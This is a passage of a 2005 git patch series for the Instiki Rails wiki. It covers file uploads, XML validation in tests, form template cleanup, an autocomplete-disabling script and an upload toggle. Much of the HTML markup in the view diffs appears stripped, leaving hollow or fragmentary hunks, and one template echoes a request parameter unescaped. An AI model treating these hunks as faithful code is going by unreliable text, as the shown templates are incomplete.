    ", + @home.display_content end end From 203405c4dcd3e1d6e81ae4231ed0652f516bc334 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 14:58:32 +0000 Subject: [PATCH 100/529] File upload implemented (mentioning it in CHANGELOG). Things to do: * testing, * security tightening, * admin controls (upload size cap, a way to disable the feature) * handling of files/pictures in exported and published wikis --- CHANGELOG | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG b/CHANGELOG index 92361d73..b76263bb 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,5 @@ HEAD: + Files/pictures can be uploaded to a wiki and served from / displayed in wiki pages Wiki link syntax doesn't conflict with Textile hyperlink syntax. Therefore "textile link":LinkToSomePlace will not look insane. Instiki can serve static content (such as HTML or plain-text files) from ./public From c8e459cbb0fd51491473f395f89f4d972c73bed5 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 16:34:27 +0000 Subject: [PATCH 101/529] Added a check for XML well-formedness to assert_success (optional, enabled by uncommenting a variable at the top of test_helper.rb); corrected some malformed templates (not all yet) --- app/views/file/file.rhtml | 6 +++--- app/views/navigation.rhtml | 2 +- app/views/wiki/edit_web.rhtml | 31 ++++++++++++------------------- test/test_helper.rb | 22 +++++++++++++++++++++- 4 files changed, 37 insertions(+), 24 deletions(-) diff --git a/app/views/file/file.rhtml b/app/views/file/file.rhtml index 72da6721..fbce7563 100644 --- a/app/views/file/file.rhtml +++ b/app/views/file/file.rhtml @@ -8,12 +8,12 @@

    File to upload:
    - +

    - as + as + onClick="this.value == 'AnonymousCoward' ? this.value = '' : true" /> <% if @page %> | Cancel (unlocks page) <% end %> diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml index 55bb16b1..d8dd56fe 100755 --- a/app/views/navigation.rhtml +++ b/app/views/navigation.rhtml @@ -17,7 +17,7 @@ end <%= list_item "Authors", "../authors/", "Who wrote what" %> | <%= list_item "Feeds", "../feeds/", "Subscribe to changes by RSS" %> | <%= list_item "Export", "../export/", "Download a zip with all the pages in this wiki", "X" %> | - + <% else %> <%= list_item "Home Page", "../published/HomePage", "Home, Sweet Home", "H" %> | <% end%> diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml index 80c60bae..e45199c2 100755 --- a/app/views/wiki/edit_web.rhtml +++ b/app/views/wiki/edit_web.rhtml @@ -8,8 +8,8 @@

    - Name:    - Address: + Name:    + Address: (Letters & digits only)
    @@ -30,24 +30,17 @@ Color:    - - > Safe mode - -    - - > Brackets only - -    - - > Count pages - + > Safe mode +    + > Brackets only +    + > Count pages @@ -114,23 +107,23 @@ function validateSetup() { alert("You must enter the system password"); return false; } - + if (document.getElementById('name').value == "") { alert("You must pick a name for the web"); return false; } - + if (document.getElementById('address').value == "") { alert("You must pick an address for the web"); return false; } - + if (document.getElementById('password').value != "" && document.getElementById('password').value != document.getElementById('password_check').value) { alert("The password and its verification doesn't match"); return false; } - + return true; } diff --git a/test/test_helper.rb b/test/test_helper.rb index 7997b094..ae4a364d 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -1,10 +1,12 @@ ENV['RAILS_ENV'] ||= 'test' require File.dirname(__FILE__) + '/../config/environment' require 'application' - require 'test/unit' require 'action_controller/test_process' +# Uncomment this variable to have assert_success check that response bodies are valid XML +# $validate_xml_in_assert_success = true + # Convenient setup method for Test::Unit::TestCase class Test::Unit::TestCase @@ -93,3 +95,21 @@ module ChunkMatch end end +if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success == true + module Test + module Unit + module Assertions + alias :__assert_success_before_ovverride_by_instiki :assert_success + def assert_success + __assert_success_before_ovverride_by_instiki + if @response.body.kind_of?(Proc) + body = @response.body.call + else + body = @response.body + end + assert_nothing_raised(body) { REXML::Document.new(body) } + end + end + end + end +end From 685874da83a5bbadfcce4df80132c1342b74daaf Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 16:37:58 +0000 Subject: [PATCH 102/529] when response is a file download, there is no need to check that it is well formed HTML (it's not, anyway) --- test/test_helper.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/test/test_helper.rb b/test/test_helper.rb index ae4a364d..729aa96f 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -102,12 +102,8 @@ if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success alias :__assert_success_before_ovverride_by_instiki :assert_success def assert_success __assert_success_before_ovverride_by_instiki - if @response.body.kind_of?(Proc) - body = @response.body.call - else - body = @response.body - end - assert_nothing_raised(body) { REXML::Document.new(body) } + if @response.body.kind_of?(Proc) then # it's a file download, not an HTML content + else assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) } end end end end From 805d4a829e64b8b6aaf48a5eef57ed9eccb8b8cb Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 17:05:28 +0000 Subject: [PATCH 103/529] further XML well-formedness fixes --- app/views/wiki/edit.rhtml | 4 +-- app/views/wiki/new.rhtml | 4 +-- app/views/wiki/new_system.rhtml | 23 +++++++++------ app/views/wiki/new_web.rhtml | 19 +++++++++---- app/views/wiki/recently_revised.rhtml | 40 +++++++++++++-------------- 5 files changed, 52 insertions(+), 38 deletions(-) diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index eb812d5d..8cb202b1 100755 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -13,9 +13,9 @@

    - as + as + onClick="this.value == 'AnonymousCoward' ? this.value = '' : true" /> | Cancel (unlocks page)

    diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml index fcd0cf86..8871c7fd 100755 --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -11,8 +11,8 @@

    - as - + as +

    diff --git a/app/views/wiki/new_system.rhtml b/app/views/wiki/new_system.rhtml index 26f3bcac..c684da4c 100755 --- a/app/views/wiki/new_system.rhtml +++ b/app/views/wiki/new_system.rhtml @@ -2,7 +2,8 @@

    Congratulations on succesfully installing and starting Instiki. - Since this is the first time Instiki has been run on this port, you'll need to do a brief one-time setup. + Since this is the first time Instiki has been run on this port, + you'll need to do a brief one-time setup.

    @@ -11,12 +12,17 @@

    Name and address for your first web

    - The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. Ex: the address "rails" gives URLs like /rails/show/HomePage. The address can only consist of letters & digits. + The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. + The address can only consist of letters and digits.
    - Name:    - Address: + Name: +    + Address:
    @@ -27,14 +33,15 @@ Everyone with this password will be able to do this, so pick it carefully.
    - Password:    - Verify: + Password: +    + Verify:

    - +

    diff --git a/app/views/wiki/new_web.rhtml b/app/views/wiki/new_web.rhtml index 39964fd6..7a64f6e2 100755 --- a/app/views/wiki/new_web.rhtml +++ b/app/views/wiki/new_web.rhtml @@ -1,18 +1,25 @@ <% @title = "New Wiki Web"; @content_width = 500 %>

    - Each web serves as an isolated name space for wiki pages, so different subjects or projects can write about different MuppetShows. + Each web serves as an isolated name space for wiki pages, + so different subjects or projects can write about different MuppetShows.

    -
    + +
    1. Name and address for your new web

      - The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. Ex: the address "rails" gives URLs like /rails/show/HomePage. The address can only consist of letters & digits. + The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. + The address can only consist of letters and digits.
      - Name:    + Name: +    Address:
    2. @@ -22,9 +29,9 @@

      Enter system password - + and - +

      diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml index ca9390d7..902db5ff 100755 --- a/app/views/wiki/recently_revised.rhtml +++ b/app/views/wiki/recently_revised.rhtml @@ -8,25 +8,25 @@ <% end %> -<% revision_date = Date.new(2100) %> -
        -<% for page in @pages_by_revision %> - <% if page.revised_on < revision_date %> -
      - <%= DateTime.new(page.revised_on.year, page.revised_on.mon, - page.revised_on.day).strftime('%B %e, %Y') - %> -
        +<% unless @pages_by_revision.empty? %> + <% revision_date = @pages_by_revision.first.revised_on %> +

        <%= revision_date.strftime('%B %e, %Y') %>

        +
          + <% for page in @pages_by_revision %> + <% if page.revised_on < revision_date %> + <% revision_date = page.revised_on %> +
        +

        <%= revision_date.strftime('%B %e, %Y') %>

        +
          + <% end %> +
        • + <%= page.plain_name %> + +
        • <% end %> - -
        • - <%= page.plain_name %> - -
        • - - <% revision_date = page.revised_on %> +
        <% end %> From a3142c377a9e199db62a08874073abfb317b697d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 18:23:27 +0000 Subject: [PATCH 104/529] prevent password managers from messing up edit_web form --- app/views/wiki/edit_web.rhtml | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml index e45199c2..0477233f 100755 --- a/app/views/wiki/edit_web.rhtml +++ b/app/views/wiki/edit_web.rhtml @@ -7,10 +7,10 @@ Ex: the address "rails" gives URLs like /rails/show/HomePage. -
        +
        Name:    Address: - (Letters & digits only) + (Letters and digits only)

        Specialize

        @@ -20,7 +20,7 @@ Additions to the stylesheet take precedence over the existing styles. Hint: View source on a page you want to style to find ID names on individual tags. See styles >>
        -
        +
        Markup:    - Verify: + Password:    + Verify:

        Publish read-only version of this web (<%= @web.name %>)

        @@ -67,7 +67,7 @@

        Enter system password - + and

        @@ -126,4 +126,17 @@ function validateSetup() { return true; } + +// overriding auto-complete by form managers +// code by Chris Holland, lifted from +// http://chrisholland.blogspot.com/2004/11/banks-protect-privacy-disable.html +if (document.getElementsByTagName) { + var inputElements = document.getElementsByTagName("input"); + for (i=0; inputElements[i]; i++) { + if (inputElements[i].className && (inputElements[i].className.indexOf("disableAutoComplete") != -1)) { + inputElements[i].setAttribute("autocomplete","off"); + }//if current input element has the disableAutoComplete class set. + }//loop thru input elements +} + From 780891349a8ec112d8ac9a936329fe777e9c3041 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 18:30:33 +0000 Subject: [PATCH 105/529] explicit action and test for edit_web --- app/controllers/wiki_controller.rb | 4 ++++ test/functional/wiki_controller_test.rb | 7 +++++++ 2 files changed, 11 insertions(+) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index c1676dd5..82ab703d 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -34,6 +34,10 @@ class WikiController < ApplicationController end end + def edit_web + # to template + end + def new_system redirect_to(:action => 'index') if wiki.setup? # otherwise, to template diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 9ec23832..ee01b21d 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -151,6 +151,13 @@ class WikiControllerTest < Test::Unit::TestCase end + def test_edit_web + process 'edit_web', 'web' => 'wiki1' + # this action simply renders a form + assert_success + end + + def test_export_html setup_wiki_with_three_pages From 584c4b39ef1e5be998c94faa2049e54993b6f0d0 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 19:12:57 +0000 Subject: [PATCH 106/529] Preventing an endless loop in case test_helper is loaded twice (note to self: _always_ enclose alias within unless method_defined?) --- test/test_helper.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/test/test_helper.rb b/test/test_helper.rb index 729aa96f..5b3e3e13 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -5,7 +5,7 @@ require 'test/unit' require 'action_controller/test_process' # Uncomment this variable to have assert_success check that response bodies are valid XML -# $validate_xml_in_assert_success = true +$validate_xml_in_assert_success = true # Convenient setup method for Test::Unit::TestCase class Test::Unit::TestCase @@ -99,7 +99,9 @@ if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success module Test module Unit module Assertions - alias :__assert_success_before_ovverride_by_instiki :assert_success + unless method_defined? :__assert_success_before_ovverride_by_instiki + alias :__assert_success_before_ovverride_by_instiki :assert_success + end def assert_success __assert_success_before_ovverride_by_instiki if @response.body.kind_of?(Proc) then # it's a file download, not an HTML content From 12722d1df3c688e2bac071b3f585b92844f307c9 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 19:14:45 +0000 Subject: [PATCH 107/529] Cleaning up edit_web.rhtml; extracted all the JavaScript to a static file --- app/views/wiki/edit_web.rhtml | 125 +++++++----------- public/javascripts/.java_script_files_go_here | 0 public/javascripts/edit_web.js | 48 +++++++ 3 files changed, 96 insertions(+), 77 deletions(-) delete mode 100755 public/javascripts/.java_script_files_go_here create mode 100644 public/javascripts/edit_web.js diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml index 0477233f..b26619b3 100755 --- a/app/views/wiki/edit_web.rhtml +++ b/app/views/wiki/edit_web.rhtml @@ -3,73 +3,91 @@

        Name and address

        - The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. + The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. Ex: the address "rails" gives URLs like /rails/show/HomePage.
        - Name:    - Address: + Name:    + Address: (Letters and digits only)

        Specialize

        Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. - Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord won't work. - Additions to the stylesheet take precedence over the existing styles. Hint: View source on a page you want to - style to find ID names on individual tags. See styles >> + Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord + won't work. + Additions to the stylesheet take precedence over the existing styles. + Hint: View source on a page you want to style to find ID names on individual tags. + + See styles >> +
        Markup:    Color:    - > Safe mode + /> Safe mode    - > Brackets only + /> + Brackets only    - > Count pages + /> Count pages - +

        Password protection for this web (<%= @web.name %>)

        - This is the password that visitors need to view and edit this web. Setting the password to nothing will remove the password protection. + This is the password that visitors need to view and edit this web. + Setting the password to nothing will remove the password protection.
        - Password:    - Verify: + Password: +    + Verify:

        Publish read-only version of this web (<%= @web.name %>)

        - You can turn on a read-only version of this web that's accessible even when the regular web is password protected. + You can turn on a read-only version of this web that's accessible even when the regular web + is password protected. The published version is accessible through URLs like /wiki/published/HomePage.
        - > Publish this web + /> Publish this web

        Enter system password - + and - +

        ...or forget changes and create a new web
        @@ -81,62 +99,15 @@

        Other administrative tasks

        +

        + + Clean up by entering system password + + and + + +

        + -

        - - Clean up by entering system password - - and - - -

        - - + diff --git a/public/javascripts/.java_script_files_go_here b/public/javascripts/.java_script_files_go_here deleted file mode 100755 index e69de29b..00000000 diff --git a/public/javascripts/edit_web.js b/public/javascripts/edit_web.js new file mode 100644 index 00000000..d9dbe7a9 --- /dev/null +++ b/public/javascripts/edit_web.js @@ -0,0 +1,48 @@ +function proposeAddress() { + document.getElementById('address').value = + document.getElementById('name').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); +} + +function cleanAddress() { + document.getElementById('address').value = + document.getElementById('address').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); +} + +function validateSetup() { + if (document.getElementById('system_password').value == "") { + alert("You must enter the system password"); + return false; + } + + if (document.getElementById('name').value == "") { + alert("You must pick a name for the web"); + return false; + } + + if (document.getElementById('address').value == "") { + alert("You must pick an address for the web"); + return false; + } + + if (document.getElementById('password').value != "" && + document.getElementById('password').value != document.getElementById('password_check').value) { + alert("The password and its verification doesn't match"); + return false; + } + + return true; +} + +// overriding auto-complete by form managers +// code by Chris Holland, lifted from +// http://chrisholland.blogspot.com/2004/11/banks-protect-privacy-disable.html +function overrideAutocomplete() { + if (document.getElementsByTagName) { + var inputElements = document.getElementsByTagName("input"); + for (i=0; inputElements[i]; i++) { + if (inputElements[i].className && (inputElements[i].className.indexOf("disableAutoComplete") != -1)) { + inputElements[i].setAttribute("autocomplete","off"); + }//if current input element has the disableAutoComplete class set. + }//loop thru input elements + } +} From 405e81d29df8b32eb34a608297227ef0df04d30a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 20:26:39 +0000 Subject: [PATCH 108/529] set uploaded files to read-only access mode --- app/models/file_yard.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/app/models/file_yard.rb b/app/models/file_yard.rb index 0c327b88..566218da 100644 --- a/app/models/file_yard.rb +++ b/app/models/file_yard.rb @@ -17,6 +17,8 @@ class FileYard else File.open(file_path(name), 'wb') { |f| f.write(io.read) } end + # just in case, estrict read access and prohibit write access to the uploaded file + FileUtils.chmod(0440, file_path(name)) end def files From a99e492f05cbecdae26d672dca9f0b9feaaf862a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 20:27:24 +0000 Subject: [PATCH 109/529] corrected a typo --- app/models/file_yard.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/models/file_yard.rb b/app/models/file_yard.rb index 566218da..c55ac68b 100644 --- a/app/models/file_yard.rb +++ b/app/models/file_yard.rb @@ -17,7 +17,7 @@ class FileYard else File.open(file_path(name), 'wb') { |f| f.write(io.read) } end - # just in case, estrict read access and prohibit write access to the uploaded file + # just in case, restrict read access and prohibit write access to the uploaded file FileUtils.chmod(0440, file_path(name)) end From 8d8deb8e766322e863ea9f5196b88e7d21390026 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 24 Jan 2005 00:20:31 +0000 Subject: [PATCH 110/529] "user interface" to allow or prohibit file uploads (not working, just the UI element) --- app/controllers/wiki_controller.rb | 3 ++- app/models/web.rb | 4 ++-- app/models/wiki_service.rb | 13 +++++++------ app/views/wiki/edit_web.rhtml | 4 ++++ test/functional/wiki_controller_test.rb | 22 ++++++++++++++++++++-- 5 files changed, 35 insertions(+), 11 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 82ab703d..d3ce0f69 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -148,7 +148,8 @@ class WikiController < ApplicationController @params['password'].empty? ? nil : @params['password'], @params['published'] ? true : false, @params['brackets_only'] ? true : false, - @params['count_pages'] ? true : false + @params['count_pages'] ? true : false, + @params['allow_uploads'] ? true : false ) redirect_show('HomePage', @params['address']) else diff --git a/app/models/web.rb b/app/models/web.rb index f3115017..3059e86b 100755 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -6,8 +6,8 @@ require "zip/zip" class Web attr_accessor :name, :address, :password, :markup, :color, :safe_mode, :pages - attr_accessor :additional_style, :published, :brackets_only, :count_pages - + attr_accessor :additional_style, :published, :brackets_only, :count_pages, :allow_uploads + def initialize(parent_wiki, name, address, password = nil) @name, @address, @password, @safe_mode = name, address, password, false @pages = {} diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index 2c52a146..4156cd81 100755 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -75,21 +75,22 @@ module AbstractWikiService end def update_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, - password = nil, published = false, brackets_only = false, count_pages = false) + password = nil, published = false, brackets_only = false, count_pages = false, + allow_uploads = true) if old_address != new_address @webs[new_address] = @webs[old_address] @webs.delete(old_address) @webs[new_address].address = new_address end - + web = @webs[new_address] web.refresh_revisions if settings_changed?(web, markup, safe_mode, brackets_only) - + web.name, web.markup, web.color, web.additional_style, web.safe_mode = name, markup, color, additional_style, safe_mode - - web.password, web.published, web.brackets_only, web.count_pages = - password, published, brackets_only, count_pages + + web.password, web.published, web.brackets_only, web.count_pages, web.allow_uploads = + password, published, brackets_only, count_pages, allow_uploads end def write_page(web_address, page_name, content, written_on, author) diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml index b26619b3..8422bd50 100755 --- a/app/views/wiki/edit_web.rhtml +++ b/app/views/wiki/edit_web.rhtml @@ -21,6 +21,8 @@ Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord won't work. + Turning "allow uploads" on will let wiki users to upload pictures and other files to the wiki + and include them on wiki pages. Additions to the stylesheet take precedence over the existing styles. Hint: View source on a page you want to style to find ID names on individual tags. @@ -51,6 +53,8 @@ Brackets only    /> Count pages +    + /> Allow uploads
        -

        -

        - as - - | Cancel (unlocks page) -

        - - - +<% + @title = "Editing #{@page.name}" + @content_width = 720 + @hide_navigation = true +%> + +<%= "

        Please correct the error that caused this error in rendering:
        #{@params["msg"]}

        " if @params["msg"] %> + +<%= render("#{@web.markup}_help") if @web %> + +
        +

        + +

        +

        + as + + | Cancel (unlocks page) +

        +
        + + diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml old mode 100755 new mode 100644 index 3ff830db..57cc6f4b --- a/app/views/wiki/edit_web.rhtml +++ b/app/views/wiki/edit_web.rhtml @@ -1,117 +1,117 @@ -<% @title = "Edit Web" %> - -
        -

        Name and address

        -
        - The name of the web is included in the title on all pages. - The address is the base path that all pages within the web live beneath. - Ex: the address "rails" gives URLs like /rails/show/HomePage. -
        - -
        - Name:    - Address: - (Letters and digits only) -
        - -

        Specialize

        -
        - Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. - Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord - won't work. - Turning "allow uploads" on will let wiki users to upload pictures and other files to the wiki - and include them on wiki pages. - Additions to the stylesheet take precedence over the existing styles. - Hint: View source on a page you want to style to find ID names on individual tags. - - See styles >> - -
        -
        - Markup: - - -    - - Color: - - -    - - - /> Safe mode -    - /> - Brackets only -    - /> Count pages -    - /> Allow uploads - - - -
        - -

        Password protection for this web (<%= @web.name %>)

        -
        - This is the password that visitors need to view and edit this web. - Setting the password to nothing will remove the password protection. -
        -
        - Password: -    - Verify: -
        - -

        Publish read-only version of this web (<%= @web.name %>)

        -
        - You can turn on a read-only version of this web that's accessible even when the regular web - is password protected. - The published version is accessible through URLs like /wiki/published/HomePage. -
        -
        - /> Publish this web -
        - -

        - - Enter system password - - and - -

        - ...or forget changes and create a new web -
        -

        - -
        - -
        -

        Other administrative tasks

        - -
        -

        - - Clean up by entering system password - - and - - -

        -
        - - +<% @title = "Edit Web" %> + +
        +

        Name and address

        +
        + The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. +
        + +
        + Name:    + Address: + (Letters and digits only) +
        + +

        Specialize

        +
        + Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. + Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord + won't work. + Turning "allow uploads" on will let wiki users to upload pictures and other files to the wiki + and include them on wiki pages. + Additions to the stylesheet take precedence over the existing styles. + Hint: View source on a page you want to style to find ID names on individual tags. + + See styles >> + +
        +
        + Markup: + + +    + + Color: + + +    + + + /> Safe mode +    + /> + Brackets only +    + /> Count pages +    + /> Allow uploads + + + +
        + +

        Password protection for this web (<%= @web.name %>)

        +
        + This is the password that visitors need to view and edit this web. + Setting the password to nothing will remove the password protection. +
        +
        + Password: +    + Verify: +
        + +

        Publish read-only version of this web (<%= @web.name %>)

        +
        + You can turn on a read-only version of this web that's accessible even when the regular web + is password protected. + The published version is accessible through URLs like /wiki/published/HomePage. +
        +
        + /> Publish this web +
        + +

        + + Enter system password + + and + +

        + ...or forget changes and create a new web +
        +

        + +
        + +
        +

        Other administrative tasks

        + +
        +

        + + Clean up by entering system password + + and + + +

        +
        + + diff --git a/app/views/wiki/export.rhtml b/app/views/wiki/export.rhtml old mode 100755 new mode 100644 index 685ac1c8..4b5367be --- a/app/views/wiki/export.rhtml +++ b/app/views/wiki/export.rhtml @@ -1,12 +1,12 @@ -<% @title = "Export" %> - -

        You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).

        - - +<% @title = "Export" %> + +

        You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).

        + + diff --git a/app/views/wiki/feeds.rhtml b/app/views/wiki/feeds.rhtml old mode 100755 new mode 100644 index 35a02197..4b0e07ca --- a/app/views/wiki/feeds.rhtml +++ b/app/views/wiki/feeds.rhtml @@ -1,8 +1,8 @@ -<% @title = "Feeds" %> - -

        You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.

        - - +<% @title = "Feeds" %> + +

        You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.

        + + diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml old mode 100755 new mode 100644 index ece95788..77a09b85 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -1,57 +1,57 @@ -<% @title = "All Pages" %> - -<% unless @categories.empty? %> -
        - Categories: - [Any] - <%= @category_links.join(', ') %> -
        -<% end %> - -
        -<% unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? %> -

        - All Pages -
        All pages in <%= @set_name %> listed alphabetically -

        -<% end %> - - - -<% if @web.count_pages %> - <% total_chars = @pages_in_category.characters %> -

        All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages

        -<% end %> -
        - -
        -<% unless @page_names_that_are_wanted.empty? %> -

        - Wanted Pages -
        Unexisting pages that other pages in <%= @set_name %> reference -

        - - -<% end %> - -<% unless @pages_that_are_orphaned.empty? %> -

        - Orphaned Pages -
        Pages in <%= @set_name %> that no other page reference -

        - - -<% end %> -
        +<% @title = "All Pages" %> + +<% unless @categories.empty? %> +
        + Categories: + [Any] + <%= @category_links.join(', ') %> +
        +<% end %> + +
        +<% unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? %> +

        + All Pages +
        All pages in <%= @set_name %> listed alphabetically +

        +<% end %> + + + +<% if @web.count_pages %> + <% total_chars = @pages_in_category.characters %> +

        All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages

        +<% end %> +
        + +
        +<% unless @page_names_that_are_wanted.empty? %> +

        + Wanted Pages +
        Unexisting pages that other pages in <%= @set_name %> reference +

        + + +<% end %> + +<% unless @pages_that_are_orphaned.empty? %> +

        + Orphaned Pages +
        Pages in <%= @set_name %> that no other page reference +

        + + +<% end %> +
        diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml old mode 100755 new mode 100644 index d9eb6527..e3590afd --- a/app/views/wiki/locked.rhtml +++ b/app/views/wiki/locked.rhtml @@ -1,20 +1,20 @@ -<% @title = "#{@page.plain_name} is locked" %> - -<% if @page.lock_duration(Time.now) == 0 %> -

        <%= @page.locked_by_link %> just started editing this page.

        -<% else %> -

        <%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.

        -<% end %> - -

        - <%= link_to 'Edit the page anyway', - {:web => @web_name, :action => 'edit', :id => @page.name, :params => {'break_lock' => '1'} }, - {:accesskey => 'E'} - %> - - <%= link_to 'Cancel', - {:web => @web_name, :action => 'show', :id => @page.name}, - {:accesskey => 'C'} - %> - -

        +<% @title = "#{@page.plain_name} is locked" %> + +<% if @page.lock_duration(Time.now) == 0 %> +

        <%= @page.locked_by_link %> just started editing this page.

        +<% else %> +

        <%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.

        +<% end %> + +

        + <%= link_to 'Edit the page anyway', + {:web => @web_name, :action => 'edit', :id => @page.name, :params => {'break_lock' => '1'} }, + {:accesskey => 'E'} + %> + + <%= link_to 'Cancel', + {:web => @web_name, :action => 'show', :id => @page.name}, + {:accesskey => 'C'} + %> + +

        diff --git a/app/views/wiki/login.rhtml b/app/views/wiki/login.rhtml old mode 100755 new mode 100644 index 5a404509..a6941c72 --- a/app/views/wiki/login.rhtml +++ b/app/views/wiki/login.rhtml @@ -1,8 +1,8 @@ -<% @title = "#{@web_name} Login" %><% @hide_navigation = true %> - -
        -

        - Password
        - -

        -
        +<% @title = "#{@web_name} Login" %><% @hide_navigation = true %> + +
        +

        + Password
        + +

        +
        diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml old mode 100755 new mode 100644 index 8871c7fd..9723d85f --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -1,25 +1,25 @@ -<% - @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" - @content_width = 720 - @hide_navigation = true -%> - -<%= render("#{@web.markup}_help") if @web %> - -
        -

        - -

        -

        - as - -

        -
        - - +<% + @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" + @content_width = 720 + @hide_navigation = true +%> + +<%= render("#{@web.markup}_help") if @web %> + +
        +

        + +

        +

        + as + +

        +
        + + diff --git a/app/views/wiki/new_system.rhtml b/app/views/wiki/new_system.rhtml old mode 100755 new mode 100644 index c684da4c..4d318e63 --- a/app/views/wiki/new_system.rhtml +++ b/app/views/wiki/new_system.rhtml @@ -1,83 +1,83 @@ -<% @title = "Instiki Setup"; @content_width = 500 %> - -

        - Congratulations on succesfully installing and starting Instiki. - Since this is the first time Instiki has been run on this port, - you'll need to do a brief one-time setup. -

        - -
        -
          -
        1. - -

          Name and address for your first web

          -
          - The name of the web is included in the title on all pages. - The address is the base path that all pages within the web live beneath. - Ex: the address "rails" gives URLs like /rails/show/HomePage. - The address can only consist of letters and digits. -
          -
          - Name: -    - Address: -
          -
        2. - -
        3. -

          Password for creating and changing webs

          -
          - Administrative access allows you to make new webs and change existing ones.
          - Everyone with this password will be able to do this, so pick it carefully. -
          -
          - Password: -    - Verify: -
          -
        4. -
        - -

        - -

        -
